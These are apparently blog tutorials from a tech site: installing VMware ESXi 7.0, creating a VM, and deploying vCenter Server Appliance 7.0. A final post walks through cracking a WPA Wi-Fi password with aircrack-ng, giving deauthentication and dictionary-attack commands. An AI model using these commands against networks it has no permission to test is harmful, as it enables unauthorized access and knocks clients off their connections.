Install vCSA 7.0 (vCenter Server Appliance) – PART 3 vSphere 7.0

VMware vSphere 7.0 Series

PART 01: How To Install and Configure VMware ESXi 7.0

PART 02: Install Virtual Machines Using ESXi Web Client

PART 03: Install vCSA 7.0 (vCenter Server Appliance)

KEEP IN MIND

• For this tutorial, vCSA 7.0 installer is downloaded and run in a Windows 10 machine (supported Operating systems options are given below).
• The vCSA 7.0 is installed to ESXi host at 192.168.1.50 which was already installed previously (Link: https://techencyclopedia.wordpress.com/2020/05/06/how-to-install-and-configure-vmware-esxi-7-0-part-1-of-vsphere-7-0/).
• The vCSA 7.0 installer and the running ESXi host should be reachable via the network. In addition to that hardware and storage requirement should be supported to install vCSA 7.0.
• The vCSA 7.0 installation mainly comprised of two stages
  • Stage 01 – Deploy vCenter Server
  • Stage 02 – Setup vCenter Server
• vCenter Server appliance package contains Photon OS 3.0, The vSphere authentication services, PostgreSQL, VMware vSphere Lifecycle Manager Extension, VMware vCenter Lifecycle Manager

INTRODUCTION

vCenter Server

There are two vCenter Server versions you can deploy

• Windows vCenter Server (not included in vSphere 7.0)
• vCenter Server Appliance (vCSA) (What we are going to install now)

Windows vCenter Server

vCenter Server is the centralized management utility for VMware, and is used to manage virtual machines, multiple ESXi hosts, and all dependent components from a single centralized location. In vSphere 7.0, vCenter Server for Windows has been removed and support is not available.

vCenter Server Appliance (vCSA)

vCenter Server Appliance is introduced with the release of vSphere 5.0. With vSphere 6.5 and subsequently vSphere 6.5 Update 1, the vCSA has become the fundamental building block of a vSphere environment.

https://blogs.vmware.com/vsphere/2017/08/farewell-vcenter-server-windows.html

https://kb.vmware.com/s/article/2091273

vCenter Server vs vCenter Server Appliance (vCSA) 

This is an excellent article which is focused about the difference between vCenter Server and vCenter Server Appliance (Please note that this is focused on VSphere 6.5)

https://www.definetomorrow.co.uk/blog/2018/4/23/why-use-the-vmware-vcenter-server-appliance-vcsa

vCenter Server

“Installing vCenter server has come a long way since the early days of building and configuring a Windows server. Most of the issues I recall were around databases, either running out of space when using SQL express or remembering to configure the ODBC settings before installing vCenter.

vCenter Server Appliance

This is a pre-configured virtual appliance running Linux (Project Photon OS) that has been optimised specifically for vCenter services. The appliance can be deployed in several different sizes (depending on the number of hosts or virtual machines you need to support) and uses an embedded vpostgres database. In terms of scale it can support anything up to 2000 hosts or 35000 virtual machines per appliance

This is another article that focus vSphere 5.5

http://www.vmwarearena.com/difference-between-vcenter-server/

Thin Provisioning vs Thick Provisioning

Thin Provisioning

A thin-provisioned virtual disk consumes only the space that it needs initially, and grows with time according to demand.

Thick Provisioning

Thick provisioning is a type of storage pre-allocation. With thick provisioning, the complete amount of virtual disk storage capacity is pre-allocated on the physical storage when the virtual disk is created. A thick-provisioned virtual disk consumes all the space allocated to it in the Datastore right from the start, so the space is unavailable for use by other virtual machines.

vCenter Server 7.0 installation and setup

Refer the full vCenter Server 7.0 Installation and Setup PDF guide from VMware 

Click to access vsphere-vcenter-server-70-installation-guide.pdf

Services Installed with vCenter Server

These additional components are installed silently when you install vCenter Server. The components cannot be installed separately as they do not have their own installers.

PostgreSQL

A bundled version of the VMware distribution of PostgreSQL database for vSphere and vCloud Hybrid Services.

vSphere Client

The HTML5-based user interface that lets you connect to vCenter Server instances by using a Web browser. This vSphere Client replaces the Flexbased vSphere Web Client in vSphere 7.0.

vSphere ESXi Dump Collector

The vCenter Server support tool. You can configure ESXi to save the VMkernel memory to a network server, rather than to a disk, when the system encounters a critical failure. The vSphere ESXi Dump Collector collects such memory dumps over the network.

vSphere Auto Deploy

The vCenter Server support tool that can provision hundreds of physical hosts with ESXi software. You can specify the image to deploy and the hosts to provision with the image. Optionally, you can specify host profiles to apply to the hosts, and a vCenter Server location (folder or cluster) for each host.

VMware vSphere Lifecycle Manager Extension

vSphere Lifecycle Manager enables centralized, automated patch and version management for VMware vSphere and offers support for VMware ESXi hosts, virtual machines, and virtual appliances. The VMware vSphere Lifecycle Manager Extension is an optional service of the vCenter Server appliance

VMware vCenter Lifecycle Manager

The vCenter Lifecycle Manager automates the process of virtual machines and removing them from service at the appropriate time. vCenter Lifecycle Manger automatically places servers based on their location, organization, environment, service level, or performance levels. When a solution is found found for a set of criteria, the machine is automatically deployed.

Overview of the vCenter Server Appliance

The vCenter Server appliance is a pre-configured virtual machine that is optimized for running vCenter Server and the associated services.

The vCenter Server appliance package contains the following software:

• Photon OS 3.0
• The vSphere authentication services
• PostgreSQL
• VMware vSphere Lifecycle Manager Extension
• VMware vCenter Lifecycle Manager

Hardware requirements for vCSA 7.0

Storage requirements for vCSA 7.0

System requirements for vCSA 7.0

DOWNLOAD

Download vCSA 7.0 from https://www.vmware.com/

Double click on the downloaded installer to proceed

Four main options are available to choose from

• Install: Install a new vCenter server
• Upgrade: Upgrade the existing vCenter Server Appliance
• Migrate: Migrate from Windows vCenter Server to vCenter Server Appliance
• Restore: Restore vCenter Server from a backup

Choose the ‘install’ option

STAGE 01 – Deploy vCenter Server

Introduction will tell you about the process of 2 stages to deploy and setup vCenter Server.

Press ‘Next’ to continue with the stage 1 of Deploy vCenter Server

Read the License Agreement and accept it

Specify the vCenter deployment target settings

Accept and continue

Set up the vCenter server virtual machine

Select the deployment size. Pay attention to the RAM needed for the variety of deployment sizes available.

Select the Datastore to install the vCenter Server 7.0

In this scenario thin provisioning is enabled

Configure the network setting for vCenter Server 7.0

Review the settings and click ‘Finish’ to complete the installation

Wait until the stage 1 is completed

Stage 1 is completed and press ‘Continue’ to proceed to the stage 2.

If you exit, you can go to the link shown to setup the vCenter Server

https://192.168.1.100:5480

STAGE 02 – Setup vCenter Server

Configuration URL

https://192.168.1.100:5480

Press ‘Next’ to proceed to the stage 2: setup vCenter Server

You may log in if your session is expired using the username and password

For the time synchronization mode NTP servers should be given and this needs to be working and accurate or setup might not complete

New SSO domain is created

Configure the VMware’s Customer Experience Improvement Program (CEIP) that collects and analyzes information to improve products and services.

Review the settings and press ‘Finish’ to proceed

Wait until the set up finishes

Setup is completed and use the given link to log in to vCenter Server web client

Login to vCenter Server 

login to the vCenter Server via vCSA Web Client

https://192.168.1.100:443

The vCenter Server Management summary will look like this

TROUBLESHOOT

• Make sure NTP server addresses are working properly when setting up the vCenter server. Else it might give errors during installation.

Create a Virtual Machines Using ESXi Web Client – PART 2 of vSphere 7.0

VMware vSphere 7.0 Series

PART 01: How To Install and Configure VMware ESXi 7.0

PART 02: Install Virtual Machines Using ESXi Web Client

PART 03: Install vCSA 7.0 (vCenter Server Appliance)

KEEP IN MIND

• This is the 2nd tutorial focusing VMware vSphere 7.0 and a new virtual machine is created in VMware ESXi Server 7.0 host.
• For the tutorial, ESXi Web Client is used from a remote workstation.
• Using the newly created virtual machine, you can install required Operating Systems such as Windows 8, 10 etc.

To create a VMware ESXi Server 7.0 refer following link

https://techencyclopedia.wordpress.com/2020/05/06/how-to-install-and-configure-vmware-esxi-7-0-part-1-of-vsphere-7-0

TUTORIAL

Login to the already installed ESXi host using ESXi Web Client

IP address should be taken from the previously installed VMware ESXi Server

Add the ISO image of the windows 10 installation file to the Datastore

Go to the Storage and select Datastore browser

Upload the ISO image (If needed you can create a directory to upload/manage the files)

Create a virtual machine

Two options are available to install the Virtual Machine

Select the virtual machine type which is creating a new VM

Provide a name for the virtual machine you are going to create and select the compatibility, Guest OS family and Guest OS version

Select the datastore

Configure the virtual machine settings

Review the settings and proceed to create the VM

Windows 10 VM is created and visible in the pane in Virtual machines navigator

Now you can Install required operating systems !

How To Install and Configure VMware ESXi 7.0 – PART 1 of vSphere 7.0

VMware vSphere 7.0 Series

PART 01: How To Install and Configure VMware ESXi 7.0

PART 02: Install Virtual Machines Using ESXi Web Client

PART 03: Install vCSA 7.0 (vCenter Server Appliance)

KEEP IN MIND

• In this tutorial, VMware ESXi 7.0 is installed and configured using VMware workstation virtual environment in home lab.
• You may install VMware ESXi 7.0 in a physical server in corporate to vritualize the servers (Windows 2016/2019, Windows 8/10, Linux etc).
• In addition to that basic configurations are shown such as Hostname configuration and IP address configuration.

What is VMware ESXi Server?

VMware ESXi server is a baremetal hypervisor (without running an operating system) that can run Virtual Machines.

TUTORIAL

Download ESXi server 7.0

Download ESXi server 7.0 from VMware website (In this scenario, a free trial is downloaded which can be used for 60 days before getting expired)

Install ESXi server 7.0

Boot the downloaded image file and choose the standard installer

let the ESXi installer load

Press enter key to continue the ESXi 7.0 installation

Accept the End User License Agreement to continue

Choose the hard disk to install ESXi server 7.0 and press Enter key

You can refresh using F5 key if the hard disks are not visible

And make sure to use IDE hard disk if necessary because for some reason SCSI was not visible in the configuration (refer Troubleshooting section for screenshots)

Enter a root password and confirm

Press F11 key to confirm the ESXi server 7.0 installation

Wait couple of minutes until the ESXi server 7.0 installation finish

Press Enter key to reboot after the installation

The ESXi server can be configured using function keys

192.168.1.25 – IP address given to manage the ESXi server

<F2> Customize System/ View logs

<F12> Shutdown /Restart

Basic Configuration

Change the IP address of the ESXi  server 7.0

Press F2 key and enter the previously given root password

Configure the Management Network

Select the IPv4 configuration to change the IP address

Give an IP address (static IP 192.168.1.50 is given)

Press ‘Y’ to confirm the IP change and restart the management network

The new IP change will look like this

Change the Hostname

To change the Hostname select the DNS configuration in the Configure Management Network menu

Give an appropriate Hostname

New Hostname will be visible like this

Log in using

After the installation and configuration of ESXi server 7.0, you can visit the ESXi login screen using the management IP address and the root password from a remote computer.

Using this interface you can create and maintain virtual machines.

TROUBLESHOOTING

Hard disk not visible error

In VMware workstation, for the virtual matching, create an IDE hard disk instead of the default SCSI because for some reason SCSI was not visible in the configuration.

Network adapter not visible error

If you are installing the ESXi Server 7.0 in VMware workstation, you might encounter an error stating ‘No network adapters”. To resolve this, go to vmx file where the virtual machine is installed and make following changes.

ethernet0.virtualDev = "e1000"

TO

ethernet0.virtualDev = "vmxnet3"

There is an excellent article written by Andrea Mauro at: https://vinfrastructure.it/2020/04/installing-esxi-7-0-on-vmware-workstation/

Hacking the Wireless Network Using aircrack-ng in Kali Linux

KEEP IN MIND

• This tutorial is executed in controlled environment using my own wireless router. It is advised not to misuse to gain unauthorized access for a third party network.
• For the tutorial, Kali Linux 64-Bit (Live) is downloaded from https://www.kali.org/downloads/ in torrent and booted using a USB.
• To hack the wireless network, you need a wireless adapter attached to your PC or laptop.

INTRODUCTION

What is Aircrack-ng?

Aircrack-ng is a complete suite of tools to assess WiFi network security. It focuses on different areas of WiFi security:

• Monitoring: Packet capture and export of data to text files for further processing by third party tools
• Attacking: Replay attacks, deauthentication, fake access points and others via packet injection
• Testing: Checking WiFi cards and driver capabilities (capture and injection)
• Cracking: WEP and WPA PSK (WPA 1 and 2)

All tools are command line which allows for heavy scripting. A lot of GUIs have taken advantage of this feature. It works primarily Linux but also Windows

More at: https://www.aircrack-ng.org/

TUTORIAL

Open a new terminal and make sure the wireless adapter is already fixed and working properly in your PC or laptop.

A wireless adapter is a hardware device that is generally attached to a computer or other workstation device to allow it to connect to a wireless system

kali@kali:~# sudo ifconfig

This command will specifically give you information about the wireless adapter of your PC or laptop

kali@kali:~# sudo iwconfig

Execute the following command to set the wireless adapter in the monitor mode

kali@kali:~# sudo airmon-ng start wlan0

Confirm the configuration. You may see that wlan0 network is changed to wlan0mon, which is the monitoring mode.

kali@kali:~# sudo iwconfig

Capture Traffic with Airodump-Ng (keep this running and do not close the terminal)

kali@kali:~# kali airodump-ng wlan0mon

We need following details to proceed

BSSID = FE:XX:74:FE:H5:AC

CH = 9

ESSID = (this is the name of the wireless network you are going to target)

Make sure to type these commands in a new terminal and do not close it after the execution

(The BSSID is  FE:XX:74:FE:H5:AC and CH value should be 9 in this case)

kali@kali:~# sudo airodump-ng --bssid FE:XX:74:FE:H5:AC -c 9 --write WPAcrack wlan0mon

Again open a new terminal and type

kali@kali:~# sudo aireplay-ng --deauth 100 -a FE:XX:74:FE:H5:AC wlan0mon

.cap file is generated and use a password dictionary file to reveal the password

 kali@kali:~# sudo aircrack-ng /home/kali/WPAcrack-02.cap -w /home/kali/pass.txt

/home/kali/WPAcrack-02.cap = location of the generated .cap file

/home/kali/pass.txt = location of your password file

TROUBLESHOOTING

• This tutorial might not work in Kali Linux which is installed in Virtual Machines in VMware workstations etc since the wireless adapter might not be available.
• The Password dictionary file should contain the password of the wireless network, you are going to hack. If the password is a strong one, it is difficult to achieve the feat.
• The username/ password of Kali Linux live is kali/ kali